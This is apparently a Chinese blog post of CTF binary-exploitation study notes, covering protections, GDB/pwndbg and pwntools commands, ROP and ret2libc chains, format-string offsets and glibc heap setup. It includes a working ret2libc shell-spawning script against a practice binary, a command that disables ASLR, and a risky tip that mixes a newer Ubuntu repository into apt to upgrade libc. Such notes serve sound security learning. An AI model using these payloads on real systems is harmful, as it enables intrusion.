随记体验 · 2025年8月25日 0

PWN笔记-1

防护说明:

Stack Canary(金丝雀防护):

在ebp、return address下方放入,会检测是否被改变,一旦被payload覆盖,就会强行退出

PIE:

将ELF文件载入内存时进行随机化操作

ldd:用于查看某个可执行程序调用的动态链接库有哪些

NX:

栈是否可执行选项,如果这项开启,而其它几项关闭的话,大概率是使用ROP攻击

RELRO:

RELRO(ReLocation Read-Only):分为两种情况,第一种情况是Partial RELRO,这种情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用

关闭ASLR:

echo 0 >> /proc/sys/kernel/randomize_va_space

关于syscall系统调用约定:

关于syscall的系统调用约定,可具体查阅“Linux系统调用表”(64位),32位和64位有所不同,32位:http://asm.sourceforge.net/syscall.html

ShellCode在线汇编:

http://shell-storm.org

amd64传参方式与x86不同:前6个参数依次存放于rdi、rsi、rdx、rcx、r8、r9,第7个及以后的参数才会存放于寄存器中

查找字符串有几种方法:

1、strings xxx | grep bin/sh

2、ROPgadget — binary  xxx –strings ‘bin/sh’

3、pwntools中使用

from pwn import *
elf = ELF("./mypwn")
binsh = hex(next(elf.search(b"/bin/sh")))

另外,有时没有bin/sh的话,有可以利用的sh也是可以的,比如flush函数,截取后面的sh也是可行的,但要注意的是sh后面必须以\n或\x00结尾才可以!

LibcSearcher 使用:

在pwntools中使用:

from LibcSearcher import *

libc = LibcSearcher("printf",printf_addr)
libcbase = printf_addr - libc.dump("printf")

无法找到合适的Libc:

LibcSearcher/libc-database中运行./get文件即可进行更新(要挂代理)。

如果还是不行,可以尝试如下命令:

cd LibcSearcher
rm -rf libc-database
git clone https://github.com/niklasb/libc-database.git

坑1:/get ubuntu 时报错:

Will download or update for:
Requirements for download or update 'ubuntu' are not met. Please, refer to README.md for installation instructions

参考README,安装依赖:

apt-get update
apt-get install -y \
  binutils file \
  wget \
  rpm2cpio cpio \
  zstd jq

然后就OK了,接下来就是漫长的等待了。

file

GDB常用命令-1:

查看地址技巧:(32位)如果是0x80开头的地址,则是该可执行程序内的地址,如果是0x7f开头的地址,则是libc中的地址

b main:在main处下断点

b *$rebase(0x18540): pwndbg特有功能,可直接断在内存中的实际地址

x/20gx buf :x 按十六进制格式显示变量,g表示八字节,表示从内存地址buf读取内容

info b :查看所有断点信息

start:如果gdb能找到main函数的话,会自动停留在程序的入口处

n:单步执行

s:单步步进

r:运行

c: 继续运行到下一个断点处或程序中断处(如需要用户交互输入的地方)

return:跳出当前函数,回到上一函数

backtrace:查看函数调用关系(如my_puts()函数属于main()函数,main()函数属于libc_start_main()函数)

plt:显示plt信息(pwndbg自带)

got:显示got信息(pwndbg自带)

stack 20: 查看栈信息

pause: 可配合gdb的attach(pid)进行调试,比如可以在两次send之间加入pause(),然后另外开一个gdb窗口,使用attach pid的方式attch后,输入return进行动态调试两次send之间的变化

坑:关于cyclic:老版的pwndbg可以直接使用cyclic,新版已无法使用,只能通过在pwntools中使用,用法如下:

cyclic(200)

length = cyclic_find(0x6261616b)

GDB常用命令-2

vmmap:查看内存映射

checksec:查看程序的防护措施

pdisass/disassemble: 查看当前函数帧的反汇编代码,前一个命令有高亮显示只是需要安装pwndbg插件,后面一个命令时gdb自带的命令无高亮显示

p/print:打印信息,如寄存器p $ebp

x/<n/f/u>: 查看某地址处的值,n/f/u 参数为可选,n代表想要查看多少个内存单元即从当前地址开始计算,每个内存单元的大小由后面的u参数指定,f表示显示格式, 如s表示字符串形式,i为指令形式: u指定内存单元大小,b(一个字节)、h(双字节)、w(四个字节)、g(八字节)默认为w;后面跟 上x代表以十六进制的形式查看变量

set *addr = value: 设置某个地址的值

i b:查看断点

d 1: 删除1号断点

pwndbg技巧:

比如在做堆题目时,需要在libc的某个偏移地址下断点,可以使用:

b *$rebase(0x18540)

cyclic插件

cyclic 200 :生成200字符比如 aabbcccdd

在输入的位置粘贴 aabbcccdd 回车

提示 invalid address 0x62616164

输入 cyclic -l 0x62616164 获得偏移量

计算一个那个地址下断点b *0x8048672,会提示是rt2libcGOT.c, GOT表

Pwntools常用命令:

context(arch = 'i386', os = 'linux'):声明是什么类型、什么系统的平台

context.log_level = "debug" : 开启pwntools的调试模式,可对该py脚本进行调试日志查看

io = process('./ret2shellcode'): process表示运行本地可执行程序,remote则是表示运行远程可执行程序

flat模块能将pattern字符串和地址结合并且转为字节模式,可以用flat()來构造rop,参数传递用list来传,list中的element为想串接的rop gadget地址,简单来说就是可以把:rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示:flat([gadget1,gadget2,gadget3,……])

elf = ELF("./xxx")

elf.symbols["system"]:可直接寻找可执行程序中的system函数

next(elf.search(b'/bin/sh')):可寻找执行程序中的’/bin/sh’位置

cyclic(60):可自动生成XX字节的垃圾数据,等同于’A’*60,而且cyclic自动生成的垃圾数据,每4个字节会有一个特殊字符作为标记字符

p32(0x0804A080):可以很方便的将其变为字节型数据

u32(b'\xc06\xe4\xf7'): 可以将字节型的数据转为int型

asm():可以将其转换为汇编

payload(shellcraft.sh()).ljust(112,b'A'):其中shellcraft可以帮助轻松的生成类似/system/bin/sh的代码,ljust则是表示左侧用shellcraft生成的代码,右侧用垃圾代码填充,第一个参数‘112’表示长度,第二个参数表示用什么样的垃圾代码填充。

hex(next(elf.search(b"/bin/sh"))) :可以在pwntools中快速查找“bin/sh”之类的字符串,功能等同于IDA中的Shift+F12

注:实际动手操作才发现,类似“bin/sh”这类字符串在IDA中的静态地址位置是对的,而在ropgadge和pwntools中找到的地址需要减1才行

pwntools中,如果使用:

if arg.G:
    gdb.attach(p)

可以使用python test.py G进行跟踪调试。

在gdb-peda中,可以通过searchmem “aaaa”searchmem "/bin/sh" libc

在内存中进行搜索

ROPgadget工具:

binary 可执行程序 --only "pop|ret"

ROPgadget的原理(不断的利用ret,将寄存器填入我们预先‘埋伏’好的值):

file

ROPgadget常用命令:

ROPgadget --binary ./ret2libc3 --only "pop | ret"

ROPgadget --binary ./ret2libc3 --only "pop | ret" | grep "eax”

ROPgadget --binary ./ret2libc3 --only ”pop | ret" | grep "ebx" | grep”ecx" | grep” edx"

ROPgadget --binary ./ret2libc3 --string "/bin/sh”

一般来说pwn题的思路

1.没有NX保护,程序源码自带系统命令函数:直接覆盖返回地址即可

2.没有NX保护,可以我到system函数的plt的绝对地址:使用ret2text

3.没有NX保护,找不到system函数,利用输入函数,将shellcode写入到程序中: ret2shellcode

4.有NX保护,利用ROPGadget配 合int 0x80调用exeeve: ret2Syscall

5.有NX保护,利用Libc获取system函数的相对位置: ret2Libe

通过泄露地址后的思路:

1、基地址 = 实际地址(泄露的got地址) – libc中对应函数的偏移

2、目的函数地址 = 基地址 + libc中对应函数的偏移

ret2syscall:

file

关于ret2libc:

shellcode布局如下,要理解为什么system的传参(bin/sh)要在其位置上方的2个字节处:

file

一般较为简单的题目,会直接提供给你system和’bin/sh’,但大多数题目都不会提供现成的system和’bin/sh’,而且多数情况会给你提供一个远程服务器的libc.so文件,这时就需要我们通过泄漏puts、read这类函数的got表,然后通过分析libc.so文件,计算出system的偏移量,从而在远程服务器上实现system利用。

通常的解题思路为:

利用plt调用got表,获得got真实的运行地址,然后用got的真实地址-该函数在libc中的偏移地址,即可获得libc的基地址,然后就可以使用libc.so文件中的system、bin/sh函数了(libc基地址+system等函数偏移地址即可)

32位和64位的ROP链问题

判断libc版本32位:

b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)

getshell:

b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)

判断libc版本64位:

b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)

getshell:

b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

write堆栈结构:

第一次调用栈:

file

第二次调用栈:

file

参考代码如下:

from pwn import *

io = process('./level3')
elf = ELF('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
vul_addr = 0x0804844B
write_plt = elf.plt['write']
write_got = elf.got['write']

#这里用到write()函数,需要赋3个参数值,相当于:write(1,write_got,4),fd=1,要打印的地址(write_got)以及打印长度(4)
payload1 = b'A'* 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
io.recvuntil(b"Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print (hex(write_addr))
libc_write_offset = libc.symbols['write']
libc_system_offset = libc.symbols['system']
libc_binsh_offset = next(libc.search(b'/bin/sh'))
system_addr = write_addr - libc_write_offset + libc_system_offset
print ("system_addr:",hex(system_addr))
binsh_addr = write_addr - libc_write_offset + libc_binsh_offset
print("binsh_addr:",hex(binsh_addr))

payload2 = b'A' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

io.sendline(payload2)
io.interactive()

关于格式化字符串漏洞:

格式化字符漏洞大致有3种利用方式:%p%s%n

可使用%n$p的格式,打印距离n的指针内容:

file

关于计算n距离的方法,大概有几种:

1、gdb动态调试:

file

32位,直接从输入值向下数到canary的位置-1即可。64位则需要+6再-1。

file

注意:64位和32位的不同,64位的程序传参是前6个存在6个寄存器中,从第7个开始入栈,所以在利用格式化字符串漏洞时会有6个偏移。

2、GDB确定canary值

比如下断点在printf,然后disass vuln,通过查看$rbp-0x8(pwndbg的话,使用x/20xg $rbp-0x8)确定canary的值:

file

file

3、利用AAAA.%p.%p.%p

可以在输入内容时,输入AAAA.+N个%p.进行泄露,然后根据41414141的位置来确定偏移(无需再-1)

image.png

4、利用peda的fmtarg功能

file

file

关于堆:

Libc各版本下载:

https://github.com/zeyugao/glibc-launchpad

下载后的deb包使用:

dpkg-deb -x libc6_2.27-3ubuntu1.3_amd64.deb ./libc
dpkg-deb -x libc6-dbg_2.27-3ubuntu1.3_amd64.deb ./sym

使用不同版本的glibc:

开源项目:glibc-all-in-one

git clone https://github.com/matrix1001/glibc-all-in-one

cd glibc-all-in-one

编译方式:

chmod 777 build download extract

sudo ./build 2.29 amd64     #编译glibc
sudo ./build 2.27 amd64
sudo ./build 2.23 amd64

下载方式:

./update_list #更新最新版本的glibc
$ cat list #查看可下载的glibc
$ ./download glibc #glibc为你想要下载glibc的名字

然后安装patchelf:

sudo apt-get install patchelf

参考pathelf的说明,切换版本,最好将ld、libc.so.6与可执行程序放在同一目录:

patchelf --set-interpreter /lib64/ld-linux.so.2 ./pwn
patchelf --set-rpath '$ORIGIN/' fastbin_dup_kuhn #使用这个更方便?
patchelf --replace-needed libc.so.6 /home/bhxdn/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc-2.32.so ./pwn#libc.so.6为需要替换的libc路径 第二个参数是需要加载的glibc的目录    pwn 是二进制文件
#也可以如下使用,一步到位:
patchelf --set-interpreter /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 main_x64
ldd ./bin #查看elf的ld和libc
# $ORIGIN是个特殊的变量,ld会将它替换成程序当前目录

file

还原:

patchelf  --shrink-rpath pwn

pwntools中使用:

p = process(['/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/2.27-3ubuntu1_amd64/libc.so.6'})

gdb中使用:

gdb your_program

(gdb) set environment LD_PRELOAD ./yourso.so
(gdb) start

#上面这种会报错,改用下面这种方法,OK:
set exec-wrapper env 'LD_PRELOAD=./libc-2.31.so'

bin:

当用户向堆管理器中申请(malloc)使用一大块内存空间时,系统会首先查询fastbin是否有合适的空间,如果没有合适的,会接着询问unsorted bin,如果unsorted bin也没有的话,会遍历整个unsorted bin(该合并的合并),如果仍没合适的,接着查询smallbin和largebin,如果依然无法满足,则只能从topbin中进行划分。

chunk:

分为malloc chunk 和 free chunk,bin是一种记录free chunk的链表数据结构,而freechunk则分为Unsorted bin、smallbin、largebin和fastbin chunk四种类型。

一个free chunk的结构中,header和pre chunk部分与allocated chunk定义相同,但一个free chunk会多出两个指针,这两个指针用于构建之后讨论的bin所需的双(单)链表。fd指向一个前一个(更低地址)free chunk,bk指向一个后一个(更高地址)free chunk。

file

how2heap

heap学习及练习:

https://github.com/shellphish/how2heap

ptmalloc源码分析-堆风水

glibc内存管理ptmalloc源代码分析.pdf

GLIBC_2.34’ not found 解决

Error /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found

检查版本:

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

显示:

GLIBC_2.2.5
GLIBC_2.2.6
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.3.3
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.5
GLIBC_2.6
GLIBC_2.7
GLIBC_2.8
GLIBC_2.9
GLIBC_2.10
GLIBC_2.11
GLIBC_2.12
GLIBC_2.13
GLIBC_2.14
GLIBC_2.15
GLIBC_2.16
GLIBC_2.17
GLIBC_2.18
GLIBC_2.22
GLIBC_2.23
GLIBC_2.24
GLIBC_2.25
GLIBC_2.26
GLIBC_2.27
GLIBC_2.28
GLIBC_2.29
GLIBC_2.30
GLIBC_PRIVATE

编辑源:

sudo vim /etc/apt/sources.list

deb http://th.archive.ubuntu.com/ubuntu jammy main #添加该行到文件

运行升级:

sudo apt update
sudo apt install libc6

再次查看:

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_
GLIBC_2.30
GLIBC_2.31   //以下为新增
GLIBC_2.32
GLIBC_2.33
GLIBC_2.34
GLIBC_2.35
GLIBC_PRIVATE